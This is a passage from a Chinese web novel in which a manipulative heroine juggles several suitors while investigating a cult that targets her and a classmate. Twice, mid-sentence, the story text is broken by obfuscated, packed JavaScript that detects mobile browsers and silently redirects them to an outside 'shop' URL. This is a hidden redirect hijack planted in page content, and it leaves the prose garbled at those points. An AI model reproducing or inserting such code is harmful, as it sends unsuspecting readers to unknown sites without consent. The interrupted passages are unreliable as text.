他笑着递给安童一张名片,临走前给了她一个轻快的wink,用嘴型道:我们微信联系。 “安童,他是谁,才一会没看到你,这就物色新人去了?” 沈竹青本想揍萧白桦这小白脸一顿,余光却瞥见安童在和陌生男人交谈,那人一看就不安好心。 安童将名片偷偷塞进衣兜,一脸单纯无辜:“啊,不认识诶,好像是来我们学校推销的。” “话说回来,你刚刚……”她抿着唇,脸颊浮起红晕,似乎很不好意思开口,“是不是误会什么了,我想了想,还是解释一下吧。” 安童往沈竹青后面看了看,发现萧白桦停在不远处,似乎接了个电话,她打算趁着这个间隙先安抚好疯狗。 沈竹青本来还压抑着戾气,听到这话不由嘲笑一声,他有这么好糊弄吗。 却在下一秒被安童主动握着手,十指相扣。 沈竹青怔了怔,安童注视着他的眼睛,一旦她认真看着一个人,就会显得无比真诚:“刚刚那句话可能显得很随意,但却是我的真心话。我朋友很少,所以很是珍惜你,不想你和我曾经的好朋友一样,明明好好的,非要友谊变质,说要和我交往……” 沈竹青脸色刚有所缓解,听到后半句话后,眼神凌厉地扫向安童,似笑非笑:“曾经的好朋友?” 额,嘴漏了,赶紧转移话题。 “因为我怕……男女朋友的关系就像泡沫,一戳就破了,与此同时友谊也会受到影响。所以……如果你不想和我做朋友的话,那我也能接受。” 沈竹青察觉到安童的手即将松开,他连忙再次握紧,低头用指腹擦拭着她眼眶滚落的泪水,烦躁的心情就这样被打乱,像是鼓胀的气球被一针戳破。 他道:“我没有不想和你做朋友,我们维持现在的关系也很好,但你要和萧白桦断了。” 安童心想搞定了,她小声解释道:“不是有个人想要害我嘛,萧白桦和他有关,我只是借机了解一下。” 沈竹青心里勉强说服了自己,他这时候又想起昨天论坛学的内容了,脸上扬起一个笑:“这样啊,我知道了,但你不要和他走太近了。” 安童敷衍地答应了沈竹青,看着萧白桦走过来,对他招了招手。 沈竹青心里又开始不爽,被安童抓着手指按了按,勉强克制住自己。 安童松开沈竹青的手,绕到萧白桦身侧,拉着他的衣袖,手背不经意和他的手相碰,带来温热的触感。 “刚刚可能有一点小矛盾,现在已经解决啦,和我们一起走吧。” 萧白桦被安童拉着走,有些神思不属,心里想:她这是什么意思呢,是在我和沈竹青之间选了我的意思吗? 沈竹青看到安童拉着这小白脸的衣袖,眉头皱起,但想到安童只是利用他,又认为此人没有竞争力。他淡淡地扫了萧白桦一眼,没有开口,跟在安童身边走着。 一时间,三人达成了诡异的和谐。 一旁有围观全程的同学目瞪口呆:这,这就是训狗高手吗! 21. 左右为男 教室。 三人围绕着一张课桌坐着。 安童正左右为男。 她想要从萧白桦这里套些消息,但不好明说,就准备先拐弯抹角地寒暄一下:“萧白桦,小时候那一次,我不是故意骗你的,只是因为当时身体确实不好,所以不敢和别人产生交集,我……” 见萧白桦神色动容,安童狗狗眼变得更加真诚清澈,更加卖力地声情并茂说谎,旁边却突兀地传来搬弄椅子的刺耳“嘎吱”声。 “抱歉,没控制住力气,你们继续。” 沈竹青对着安童歉意地笑了笑,似乎真的只是不小心。 安童给了他一个警告的眼神,表示自己正干活呢,希望他老实点。 沈竹青不以为意地点了个头,安童再度看向萧白桦,继续自己的胡编乱造,措辞极其感人肺腑:“在我心里,你已经是我的朋友了,这次你经历的事情,我非常担心……” 萧白桦被骗多次好不容易升起的警惕心渐渐消弭,败在安童的一声声甜言蜜语中,他想矜持地继续冷着脸,桃花眼里却掩饰不住笑意。 在安童的殷切眼神中,他隐约意识到不对劲,她好像太过热情了,但又觉得可以忽视。 萧白桦心里飘飘然,这时一旁却响起一句话,让他感觉像被冷水拍了一脸。 “不是有个人想要害我嘛,萧白桦和他有关,我只是借机了解一下。” 这不是她不久前才对沈竹青说的话吗!? 安童咻地转头,不可置信地望着沈竹青,他拿着手机,将录音界面展示给她看,咧嘴一笑:“不好意思啊,不小心点出来了。” 不是,她真的服了,怎么会有人随时录音啊! 沈竹青似乎手忙脚乱地试图关掉,结果打开了另一道音频,来自安童对别人诉说的甜言蜜语倾数倒出,萧白桦听了后很难形容自己是什么心情,就是感觉自己不该出现在这里。 他难道是这两人play的一环吗,留着自己就是为了彰显他们的情比金坚吗? 眼看萧白桦脸色变差,沈竹青还嫌火不够大,要继续搞事,安童就感到抓狂。 她算是意识到了,沈竹青这货是认为自己被冷落了,搁这找存在感呢。 “如果你是来问这件事的话,我可能确实记不清了,我还有事,先走了。” 萧白桦眼中笑意消失殆尽,他起身向门口走去,看着洒脱,实则动作很慢,像是等着谁来挽留一样。 “我朋友他……有点调皮,但刚刚的话只是顺路说的,我主要还是很担心你的!”安童连忙上前抓住萧白桦的胳膊,两眼雾蒙蒙,还好他虽然绷着脸不说话,却没有挣开手。 身后传来一声冷笑,安童想起还得安抚疯狗,她一边对萧白桦解释,一边低头给沈竹青发消息。 [安徒生:你别闹了好不好!我这是想从萧白桦这里套消息,说的不是真心话!] 看着安童这样一副应接不暇的模样,萧白桦心硬如铁,神色更冷。他此时是不是应该体贴地把时间让给她和沈竹青呢,不然显得他很无理取闹。 室内情形泾渭分明,一个暗自心碎想要离开,一个醋缸打翻不听管教,还有一个焦头烂额着处理鱼塘。 安童望着沈竹青发来的笑脸,恨不得穿回过去摇醒招惹疯狗的自己,她作什么死啊,这畜生根本就不听管教,这都已经是第几次了! 她想给刚加的大师发消息,顾峤的小号“匿名变态男”却发来了消息。 [宝宝,这段时间缠着你的野男人,我给他找了点事,他暂时不会来找你了。你身边只能有我一个人^_^] [你同学应该被放出来了,开心吗?上次的亲吻我很喜欢,下次我们可以xx吗?或者我帮你xx也行。] [但我尊重你的意见,实在不行,能发一张照片吗?要之前你穿的红裙子。] 忽略掉一些不堪入目的内容,最上面那条引起了安童的注意。 野男人,谁?这段时间缠着她的也就一个,就是沈竹青。 正在这时,一道手机铃声在空荡的教室响起。 沈长昀给他打来电话干什么。沈竹青皱着眉挂掉,对面便发来一条短信,语气简洁,是一种不容商量的口吻。 [沈长昀:和安童有关,接电话。] 安童思索时,沈竹青走到她身边,揉了揉她的头:“我出去接个电话,”他迈开步之前,伸手捏了捏安童发后颈,声音压低,分辨不清喜怒,“聊事就聊事,不许和那个人说一些无关紧要的话。” 安童一只手还拉着萧白桦呢,被夹在两人中间的她此时准备当一个鹌鹑蛋,她缩了缩脖子,看着沈竹青走出教室,才舒了一口气。 世界可算清净了。 “他走了,我们继续吧。” 安童准备继续聊正事,扯了扯萧白桦,却没有拉动。 她抬头,却只能看到萧白桦别开的侧脸,这人明明有着风流肆意的好样貌,却总是表现得和外表不同。光看脸以为是个脑子灵活的海王,实则心眼全写在脸上。 就像此时,不需要开口,安童就知道他指不定在心里控诉她是个坏女人,又把他当乐子逗了一顿。 萧白桦知道他此时的表情,委屈得像要哭出来吗?搞得安童像一个欺男霸男的女山匪,但问题是……每次都是他自己主动上钩啊。 明明之前都告诉萧白桦不要信她了,却总是不长记性地跟过来,很容易被哄好。 这样想着,安童竟然有点想笑,她抿去嘴角快要露出的弧度,五指展开在萧白桦眼前晃了晃:“喂?醒醒,再这么僵在这,那我也走了啊!” 说罢,安童作势要收回拉住萧白桦胳膊的手,在要抽离之际,他才闷闷地开口,仍倔强地把头侧在另一边不看她,仿佛看不到就赢了一样:“你还有什么想从我这知道的,我已经把知道的都告诉你了,还值得你在我这儿费心思吗?” 听出来怨气很大了,不过安童一点不心虚。她试探清萧白桦的底线后,有恃无恐地松开手坐回了椅子上,胳膊靠在背椅边,也不说话,就这样静悄悄的。 安童歪头枕着手,望着萧白桦顶着一张冷脸也坐了回来,她随之起身,然后坐到他身边。 萧白桦眉头皱着,似乎是不喜,挪动着椅子离安童远了一些。她也没在意,乐悠悠地翘着腿,时而蹭着萧白桦的腿划过,换来两人间的距离更远了。 但再怎么表现得嫌弃,不也没走嘛。安童心情愉快,她发现逗这人有点好玩。 “抱歉啊,我的朋友确实有点不喜欢你,但我对你很有好感的,刚刚说的话也是真的,我很担心你的处境,”安童虚伪地道了个歉,接着单刀直入话题,“你之前经历了什么奇怪的事吗?为什么总是被人针对,先是在高铁上被人谋杀,现在又被人陷害。” “或者说,你有发现什么邪门的群体吗?就是那种成天想洗脑别人的邪教组织?” 这次连道歉的话都显得不真诚,完全是图穷匕见了。 萧白桦内心鄙夷自己:这么直白地利用你了还不离开,上赶着被骗的,一点也不值钱。 “早在一个月前,我就在准备这次的竞赛了。当时是夜晚,本来我都离开教室了,因为遗忘一本书便准备回去拿,却发现陈老师在打电话,但是神神叨叨的,说着什么“教主”“信徒”之类的话。” “我没放在心上,每个人都有点自己的癖好,总要尊重,等他打完电话后,我才进去。” 所以,这是一个无辜的倒霉蛋被邪教喽啰发现了身份,教主准备灭口外加顺便清理门户的故事? 忽视掉萧白桦冷淡的脸色,安童继续问道:“你现在回忆当时被打晕时,有什么发现吗?” 萧白桦:“我是突然被打的,要说发现……当时我闻到了一阵香味,应该是喷了女士香水,而且被打的触感是从下往上,对方应该比我矮。” 安童为什么要问这些,萧白桦警惕起来,明白她这次想从他这了解什么了:“这些我已经告诉警察了,你不需要掺和进去,” 见她神色懵懂的模样,他心里焦急,不想她也陷入危险中,“这件事很危险,早知道你要问这些,我……”我就态度刚硬一点,不告诉你了。 “嘎吱——”椅子拖动的声音传来,安童靠近萧白桦,眼睛弯成月牙,看不出一点害怕。她一只手轻轻揪着他的脸,语气夸张地感动道:“噢——原来你担心我啊!” 可恶,这个人真的很烦!萧白桦耳根红了,他想伸手拂开安童,却又怕自己力度太重打痛她,只好任由她动作,声音含糊着:“我没有,这是你猜的,反正不管你是不是真的关心我……” 他一顿,继续道:“你别管这些了,我命硬,不会有事。” 呀,又开始嘴硬了。 安童笑了,自从发现陷入一场阴谋后诞生的隐隐恐惧也散了些。 很惨是吧?但再不济,还有另一个倒霉蛋陪着她呢。 她语气轻松道:“刚刚的录音你没听到吗,我也被这些坏人盯上了,处境不比你好多少。” “今天是你出事,说不定下一个就是我。” 萧白桦微怔,他看着安童精致的脸上状似神色镇定,但是揪着他脸的手却颤抖着,无声传递着来自另一人的忐忑。 安童后知后觉注意到了自己的状态,并感到困惑迷茫。她之前也表露过伤心,但也是为了达到自己的目的所以夸张化,那现在呢? 这些忐忑最早是什么时候产生的? 有一只小鸟,流落到这个世界,飘了太久太久。 它经历着一切,却仿佛置身事外,只当玩一场游戏,直到风暴越来越大,将它的毛绒绒的翅膀打湿,不断坠落。 安童颤抖发凉的手被来自另一人的温度盖住,她缓缓抬眼,萧白桦还被她扯着脸,却浑然不在乎地露出滑稽的一个笑,笨拙地安慰着:“你别害怕,我……我这段时间会一直待在A市,我看起来没你聪明,肯定是我先出事。” “到时候,说不定能能借助我出事的案件,抓住背后的人呢?到时候你就安全了。” 说完后,萧白桦嘴巴笑意一僵,他想,人怎么能卑微成这样,怎么会有人拿自己的死去取悦安慰别人?但他看到安童露出的笑脸,又觉得这不算什么。 安童的手被萧白桦拉下并两手握住,驱散了寒意,她笑得眼角浸出泪,这笨蛋明明总是不机灵地被她捉弄,此时却敏锐地察觉到她的情绪,真是…… 安童没有抽出手,她轻声道:“我不害怕,只是有点冷。” 怎么能不害怕呢? 莫名其妙被系统宣告自己的死亡,但没关系,安童总是能很快调理好自己,她一向很能适应环境。 是的,她确实多情贪玩,按照谢岩的话,也许还要尊称她一声“绿茶”。 但穿越前,她也只不过刚大学毕业,而在模拟世界中,她才经历了短短一个多月,就遇到一系列让她措手不及的事。 ……莫名其妙经历的惊险案件,前世从未接触过的人物,她被迫提起精力,青涩地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894822|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像从前一样伪装自己,却总感觉被看穿一切。 站在聚光灯下,无所遁形。 她好像自言自语般:“你知道吗,我之前也经历了一场刺杀,要不是我……” 安童顿了顿,感到好笑。 是系统。 它把她带到这个所谓的模拟世界,给了她回档的能力去躲避危险,却也是它操控着自己的人生,用所谓的数值去规范着她。 “要不是我足够机灵,可能你今天都见不到我了。” 萧白桦握住安童的双手一紧,像是怕她又飞走,安童却自顾自地说着,像是演着自己的独角戏。 台下没有观众,黑洞般的幕后奏着“哒哒哒……”的背景乐。 “你知道吗,我每天晚上都会做噩梦……” 后半句安童没有说:她怕变回原来的样子,怕被人发现她其实一点都不温软单纯。 时时刻刻要对外装出温驯的样子,这是上辈子的经历所教会她的,是她坚定地认为的守则。 一旦被打碎这个滤镜,她就会丧失对外的安全感,天然地对一切产生排斥和怀疑,正如谢岩、沈竹青……又或者眼前的萧白桦。 没错,他们表现得情根深种,安童不相信但选择笑纳,这是她最近学来的道理——既然难以拒绝,那就榨干他们的利用价值。 安童脸上笑意还在,眼里却变得空洞冷漠,她用力收回手。 萧白桦察觉到安童突然的态度变化,以为她是因为这件事心情不好,他绞尽脑汁,却完全没有哄女孩子的经验,桃花眼中浮现出懊恼。 他全然忘记了自己一开始要故作冷漠,在这时顿悟般,头一次学会用自己姣好的模样讨好对方,嘴角扬起一抹笑,像是冰雪初融般,干净又乖巧。 安童不为所动,但支着下巴欣赏着,一只手抚摸着萧白桦的侧脸,漫不经心地想着—— 无论怎样,她永远相信只有无害柔弱的形象才能保护自己,但这是假的,所以她不信任何人表达的好感。 那如果看穿呢? 安童和萧白桦对视着,她轻轻告诉自己:总有人清醒着沉沦,不是吗? 那就别怪她利用得更彻底了。 【体魄-2】 【特殊事件-支线1开启,请宿主找到陷害萧白桦的人,揭穿教主的第一步计划】 * “为什么让我离开安童?” 沈竹青在楼梯口握着手机,不怀好气的在心里骂着:这老男人是憋不住了,想把他赶走独占安童吗? 他斩钉截铁地拒绝:“我不……”离开安童。 话还没说完,就被对面的人打断,尽管语气温和,但隔着手机也能感受到话语间的威压和强势。 “我知道你在想什么,我确实对安童有好感。” “但作为商人,比起这份感情,或许我更倾向即将损失的利益,”这是点到为止的提醒,“沈竹青,这位女士有个很有来头的追求者,我们不应该去去献丑了。” 想也没想,沈竹青开口就是拒绝:“你是你,我是我,”他冷笑,嘲讽着这位久居上位的成熟绅士:“我才不像你这样薄情,我才不放弃安童。” 楼梯口传来嘈杂声,他意识到不对劲,想要从另一个方向逃跑,却被冲出来的黑衣保镖架住,往教学楼外带。 沈竹青咬牙挣扎着,他身手不错,却耐不住人太多,最后只能憋屈着迎着来往同学震撼惊疑的眼神,被他们强硬绑走。 手机里的通话没有挂掉,沈长昀慢条斯理地下了最后通牒。 “你现在还没有任性的资本。” “防止你不清醒,我给你安排了明早的航班,你应该去国外学习冷静一下了。” 从始至终,这就不是什么讨论的语气,而是下达通知。 校门口停着一辆低调奢华的黑色轿车,正如车主本人,无论何时都克制理性。 沈长昀挂掉通话,指尖轻轻点着太阳穴,深邃的眼里比以往更沉静。他注视着车窗上的一个污点,或者说其实是透过这道屏障看向一个不在眼前、以后也不该相见的人。 那个人就在学校里,只要他进去,看到她总在自己梦中徘徊萦绕的身影,就会再次不复冷静,身心违背自己意愿地为之着迷。 不像是在商场沉浮二十年中老谋深算的人,倒像是个毛头小子,头一次对有好感的对象产生各种绮丽悱恻的幻想。 这确实很容易让人上瘾,他想着。 昨晚和那人的谈话却让他像被泼了盆冷水一样,那些不符合年纪的激情瞬间消退。 喜欢,但也到此为止,不是吗? 安童年轻、单纯又脆弱,如果真的和他在一起,不经意窥见他克制表面下澎湃汹涌的欲念、失控和爆发,会不会被吓得两眼通红呢? 沈长昀理智地剖析自己,权衡利弊下,推开安童并且远离,无疑是最好的选择。 他阖上眼睛靠在背椅上,双手交叠放在身前。 眼前变得黑暗,思绪却变得活跃起来。 频繁出现在他梦里的红裙,亲昵地靠在他膝前,那双丰润红肿的唇瓣贴着他的手背若即若离地暧昧。 在最后覆上沈长昀嘴唇时,他喉结滚动着,却侧开了脸。 要下去再看看她吗?他笑话着自己尽管答应了那人的要求,还是对安童念念不忘。 但还好现在没陷入太深,抽身离开不是什么难事。 沈长昀淡然地想,他从未对自己的任何决定后悔过,现在也是。 22. 她的鱼塘 沈竹青迟迟不回来,安童给他发了条消息催促,并让萧白桦出去找了找。 但以往秒回的疯狗像是打定主意要开始叛逆,不知道跑哪去了。 安童愤愤盯着聊天框,像是要给它烧出一个洞,沈竹青只在不久前发了一串不明所以、显得仓促的乱码过来,之后就没动静了。 刚刚还没有找他算账呢,现在直接人间蒸发,把她鸽了? 很好。 安童甚至懒得赏赐沈竹青一通电话,顺便把他拉黑。她摸了摸肚子,望了眼窗外的天色,离黄昏还有段距离,但生活唯美食不可辜负。 “走吧,你想去商业街新开的粤菜馆吗?”安童勾住萧白桦的胳膊,忽略掉他几不可查的推拒,走出教学楼后又嫌他太慢,松开手后,独自轻快地往前小跑着。 萧白桦落在后面,视线落在安童随着动作飘荡的蓬松卷发,像是猫儿调皮地卷起尾巴扫荡,如同她这个人一样,看似清纯柔弱,实则满肚子鬼主意。 先是扮作无辜地博取同情心和怜爱,又在预料之外地给你挠一爪。 但事后看到她那双水灵灵的眼睛,又会重蹈覆辙。 当然,这说的是猫。萧白桦甩甩头,丢掉这些怪异的想法,笑了笑自己,暗道自己是脑袋被打之后产生癔症了吗。 被骗三次的经历让萧白桦有点戒心,但安童刚刚在教室都哭了,一定是害怕到了极点,现在一定很需要他,毕竟他们同是被幕后黑手盯上的目标。 想到这,萧白桦竟然觉得有种微妙的、难以启齿的满足感。 他有些恍惚,步伐开始变慢。 安童在脑子里美美点好了菜谱,这才想起身边还有个人,她回头瞅了一眼,发现萧白桦快撞到路边的树了。 她停住,不打算提醒萧白桦,乐不可支地在原地看这倒霉蛋撞了上去。 “砰!”萧白桦捂住发红的额头,这才像是从梦中惊醒一样,还没来得及感到痛,有一双柔软的手覆上他的手,轻揉着被撞到的地方。 “你没事吧,我一回头就看到你撞树上了,”安童睫毛抖动着,掩下后滴落了一行眼泪,眼神透着心疼和自责,“抱歉,我刚刚如果看到,就能拉住你了。” 萧白桦瞬间忘记关注他被撞红肿的额头,见到安童关心自己,他第一反应是感觉手背上烧了起来,连带着脸也微微熏红了。 “我没事。” 但短暂羞赧过后,他脑海里瞬间浮起一个念头:她是不是又想骗我? 但安童手心的温度让他莫名有些贪恋,仿佛额头也不痛了,他有点舍不得收回手。 而让他心驰摇曳的当事人,此刻感到疑惑。她不是用了很大的力气摁伤处吗?这家伙不仅眉头都没皱,甚至还一脸春意。 虽然安童现在真的像把萧白桦当做好玩的电子宠物一样,随时找乐子,但也不想这么快把他玩坏啊。 脑袋受击两次,可别真的变成笨蛋了。 “要不我们去医务室看看吧,离这也不远。” 被安童牵着手走的萧白桦已经彻底忘记自己冷脸酷哥的人设了,他其实可以挣开手的,又不是什么需要人牵着走的年纪了。 但此时他存了点小心思,轻轻回握了一下,耳根变得通红。 安童体贴得有些太不同寻常了。 萧白桦的思维又开始发散。 安童主动和他贴近; 安童主动牵他的手; 安童好像就只盯着他骗,一骗骗3次; 难道是…… 附近人群的喧哗声自动被他屏蔽,耳边心脏的跳动声越来越大,诉说着本人的剧烈情绪起伏。 ——安童喜欢他? 冒出这个可能,萧白桦心里竟然有种果然如此的预感,并在心里给安童骗他多次的事进行了解释:喜欢他,所以才来欺负他,不然怎么不去骗其他人。 那他呢? 说来有些俗套,他年少时以为安童因病离世,把她当作了白月光,把她当朋友般放在心上多年。 虽然萧白桦也不清楚这份友谊现在有没有变质,但是如果安童想,他也可以…… 就在萧白桦思路逐渐歪到地沟时,安童的话打断了他的思考:“抱歉啊,我临时有个约会,接下来你自己去医务室吧。” 约会?在他的认知里,只能和对象这样。萧白桦芳心再再次碎掉,他的手仍然和安童握着,但隐隐僵住发冷,神游似的问:“约会?你喜欢这个人吗?” 安童正一只手回着江萦消息,没听清他说什么,头也不抬地敷衍道:“喜欢啊,我也喜欢你,都喜欢都喜欢……对了,一会你自己去吃粤菜馆吧,这家真的很不错……” 萧白桦心里冷了又热,沸腾了又再次降温。 坏消息,安童承认她喜欢别人。 好消息,安童同时还喜欢他。 原来安童不仅要骗他,还花心地想让他做池塘里的一条鱼。 萧白桦收拾着自己破碎的心情,他感觉自己像条即将上岸的鱼,却被嘎嘣一下拍死在沙滩上了。 安童回完消息后,就把牵着的手收回了,本来想丢下萧白桦直接走掉,但又想起她现在正和萧白桦抱团。 同样被教主针对的俩人,一时也说不清谁更惨。 这倒霉蛋还说要替她扛伤呢。害,安童都有点怜爱他了,但一码归一码,她该利用还是得利用。 啊,她可真坏。 安童轻柔地对萧白桦道:“要不这次我出钱请你吃吧,就当做这次违约的补偿。” 萧白桦:“……” 我差的是那点钱吗。 没事,他被耍也不是一天两天,现在的结果早有预料了。 意识到这个想法后,萧白桦惊讶地感慨,他竟然对被骗这件事已经习以为常了。 薛定谔的酷哥形象再次回来,他要不在意地大度离开,转身前却又忍不住冷着脸忸怩地问:“你喜欢我什么啊?” 安童此时又在低头回消息,这次是谢岩,想要和她一起吃午饭。 [安徒生:不好意思噢,我有约会~] [大大大蠢驴:和谁?你现在出去不安全,我跟在你们身后。] 脸皮真厚!她没拉黑这自大的蠢驴就不错了,还想充当第三者尾随?但他说的也不是没有道理,毕竟天杀的教主还对她虎视眈眈。 这时隐约听见身边有人说话,像蚊子一样嗡嗡嗡的,她有点烦,不假思索道道:“脸吧。” 已经走到校门口了,安童突然想起她落了一个随身带着的小镜子在教室,匆匆地往回跑:“萧白桦,钱我会转你的,下次见!” 随着安童离开,路边一辆低调的黑色轿车在这时放下了车窗,放到一半又升起,不徐不疾地驶离。 直至那道身影消失在转角,萧白桦才收回视线,他若有所思地摸了摸自己的脸,不禁拿出手机前置照了照。 平日里萧白桦从不会细看自己的长相,尽管从他人的反馈能知道还算不错,但是安童说…… 不知怎么,他突然有了一些紧张感,在旁边一个路过的同学匪夷所思的眼神中,冷酷着脸拿手机对着自己端详了好一会。 皮肤有些粗糙了,因为没睡好眼下有了浅浅的黑眼圈…… 几分钟后,某个人的手机购物车里躺下了一堆护肤美容品。 * 到了教室门口,安童发现里面有个人,从背影可以看出是一个短发女生,有些眼熟。 她懒得去回想是谁,本来没有在意,打算进去拿完东西就走,互不干扰。 直到安童看到那个女生靠近她下午坐过的位置,拿起她用来擦过眼泪的一团纸巾,万般珍惜地低头闻了一下,并塞进了衣兜。 安童:“……?!” 打扰了。 【特殊事件:有人在私自收藏你用过的东西,她是谁呢?你还记得她吗?面对这样的情景,你选择——】 【A.进去质问:“变态!你为什么拿我的东西!”】 【B.默默离开,接受世界的参差】 小镜子其实也不是必须要拿,她尊重他人特殊癖好,准备悄悄离开,却不小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912408|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心推动了门,制造了细微的声音。 短发女生回头,发现是安童后,她害羞地将发丝别在耳后,迈着小碎步走到教室门口,有些期待地望着安童:“你什么时候来的啊……啊!其实我想问,你还记得我吗?” 作为当事人的安童有些尴尬,但对方很是坦然,于是她顺着这话回忆了一下:“我知道啊,你是……额,那谁……” 安童灵光一现:“噢!你是昨天坐我旁边的那个女生!” 短发女生神色似乎阴沉了一瞬,又像是安童的幻觉,一眨眼,她还是那副娇羞不已的样子,含羞带怯地抬眼看着安童。 很怪异,因为她比安童高了不少,却做出一副伏低做小的姿态,安童鸡皮疙瘩都起了,转移话题:“其实我是来拿东西的,你有看到一面小镜子吗?” 短发女生:“没有诶,我帮你找找吧。” 两人在桌子旁翻找了很久,也没有看到镜子,安童也不是很想和这个待在一起,她体贴地递过去一张纸让短发女生擦手,柔柔地笑道:“看来已经不在了,那我就先走了。” “诶,等等!” 短发女生拉住安童,在她疑惑的目光中,掏出了一本书。 是上次很吸引安童的、封面奇怪的书,她顿了顿,歪头看着短发女生。 “我叫许凝,也许我们可以认识一下,”许凝介绍着自己,眼睛扑闪扑闪的,太过认真让安童想要回避视线,“这本书上次你是想看看吗?现在也许,你可以拿走。” 安童犹豫。不知怎么,这本书的封面很是吸引她,像是有神秘的漩涡,引她向下查看。 最后,她走之前还是和许凝交换了联系方式,以便最后换书。 【魅力值+2】 【处事值+3】 安童走后,许凝一个人在教室里找到安童坐过的位置,将头轻轻靠了上去,手伸进衣兜,将里面的小镜子摸了又摸。 一旁的手机“嗡嗡”震动着,有新消息。 [教主:我已经警告过你了,不要私自接近她,安童比你想象的要更敏锐。] 按照约定,许凝应该施加催眠并赠予书籍后,无声无息退场。 ——而不是存着私心和安童加了联系方式。 但是……许凝将手机关机,无所谓地闭着眼睛感受着安童残留下来的香气。 她太馋了,所以忍不住偷偷接近…… 毕竟是她仰望了那么多年的人。 * 再次来到校门口,安童看到了江萦站在车边,贵公子气派十足,衣着讲究矜贵,和学校周围打扮随意的同学相比,更是显得一丝不苟和正经。 见到安童,他只是微微抬眼,冷淡地为她拉开车门:“走吧,我订了你说的那家西餐厅。” 态度说不上好,但也不足以让安童满意。 安童终于有点受不了江萦这分裂的性格了,忽冷忽热的。 坐进车里之前,她猝不及防地抓住江萦的领带,将他拉近到眼前,无辜的水汪汪眼睛直视着他:“你是不是……”精分啊。 想了想,安童换了个更委婉的词:“你去医院看过吗,性格一直变化,说不定是精神疾病的前期预兆。” 留意到江萦皱起的眉,她眼睛一动,手指绕着领带转了转,语调上扬格外单纯:“抱歉啊,我只是担心你嘛……真的不去医院看看吗?吃饭可以一会再去。” 江萦什么话也没说,任由安童拽着他的领带将其弄散,俯视着凝望她的双眼:“这样不好?那你更喜欢谁?” 安童打量了一下他,像是看透了一样,笑了笑:“谁出现在我面前,当然就更喜欢谁啊。” 不想再啰嗦下去了,安童将江萦推开,嗖地关上车门。 江萦隔在门外,默不作声整理了散乱的领带,但手在此时却显得笨拙起来,怎么都系不好。 他莫名有些烦躁,伸手随意地将领带扯下,一边打开驾驶座的车门。 昂贵的领带被丢在黑色坐垫上,变得皱巴巴的,像是谁维持很久的平静,终于思绪紊乱起来。 23. 是哥哥是弟弟 到了西餐厅,服务员拿来菜单,安童迫不及待地拿起,但出门在外总是要维持自己柔弱单纯的形象,所以尽管馋到不行,她还是矜持得像是没有欲望的模样。 可汗大点兵结束后,她才勉强想起了身边的江萦。 安童谨遵自己的人设,尽职尽责地做个不谙世事的解语花,微微凑近江萦,若即若离地拉着他的衣袖:“江薄,你要点些什么?” 听到安童叫他弟弟的名字,江萦有一瞬间后悔当初将错就错认下这个称谓,导致他现在甚至没有办法纠正这个错误。 他嘴角勾起一个极淡的笑:“都行。” 也没在乎江萦冷淡的态度,安童自顾自地在那里嘀嘀咕咕,她不经意间问起:“对了,你弟弟最近怎样?” 又是江薄。 明明现在和她约会的人是他。 是他江萦。 江萦神色更冷了。 陌生的酸涩情绪冲击着他本该漠然的心绪。在国外时,就算是面临匪徒持刀抢劫,他都能漫不经心地应对,甚至没有太多情绪起伏。 但是一到安童这里,他像是被摄魂了一样,轻易被她挑起负面情绪。 江萦低头整理着自己的领带,没有看她,语气依旧薄凉,却带着些似有似无的较劲:“他在S市,成天忙着和设计稿打交道,没空出来。” 安童现在全副身心放在了填饱肚子上,盯着服务员身影消失在包间门口,坐在凳子上望眼欲穿,随意回了一句:“噢,那哪天我去S市,我们可以一起,太忙了对身体不好啊。” 江萦蓦地起身,把冥想中的安童吓了一跳,抬起头时眼眶已经泛红了,眼尾带着湿意,声音委屈:“你怎么了?” 江萦控制着不让自己露出讥笑,他不容许自己被类似嫉妒的情绪所控制,这样太失态了,有失自己的身份。 “抱歉,我出门接个电话。” 关上包厢门前,江萦看到安童眉眼耷拉着,一副不知所措的模样,他不受控制地开口:“我一会就回来,如果上菜你可以先用。”说完,他嘴唇抿紧,神色更加疏冷。 出门后,那张迷惑人的面孔从眼前消失不见,似乎空气才流通起来,让他思绪通明了一会,恢复了以往淡薄的心境。 江萦懒怠地靠在门边,见刚刚的服务员端着餐盘过来,侧身让开位置,点头示意他直接进去。 服务员本着良好的服务态度,没有八卦,他回以礼貌的微笑,对这样奇怪的客人见怪不怪,只以为是小情侣间在闹矛盾。 漫无目的地在走廊走着,脚步声在安静的走廊里响起。 江萦觉得领带刚刚系太紧了,于是抬手随便松了松,但是看到这条领带,又不禁想起了安童拽着这条领带使他被迫弯下身子的情景。 那双眼睛清澈懵懂,细看却又带着一丝狡黠,让他看着看着,就很容易溺进那双眼波。 瞒着弟弟和安童见面,并且让她误会自己的身份,现在后悔吗? 江萦知道自己的行为是可耻的、卑鄙的、不道德的,但他情感淡薄,再加上自小被输入的优胜劣汰规则,倒是不觉得欺骗弟弟有哪里不对。 但带来的后果让他烦躁。 ——安童怎么能一直把他认成江薄? 但到底还是有着贵公子与生俱来的轻慢,他很快想通。 只要不让安童发现真相就行,究竟把他当成谁这重要吗? 反正在她身边的是自己。 他对自己刚才的反应感到不耐,怎么能够被这种无用的情绪掌控? 安童那么胆小,刚刚会不会被他吓到。想到这,江萦脚步一转,就要往回走,但揣在包里的手机不断震动,他接起电话。 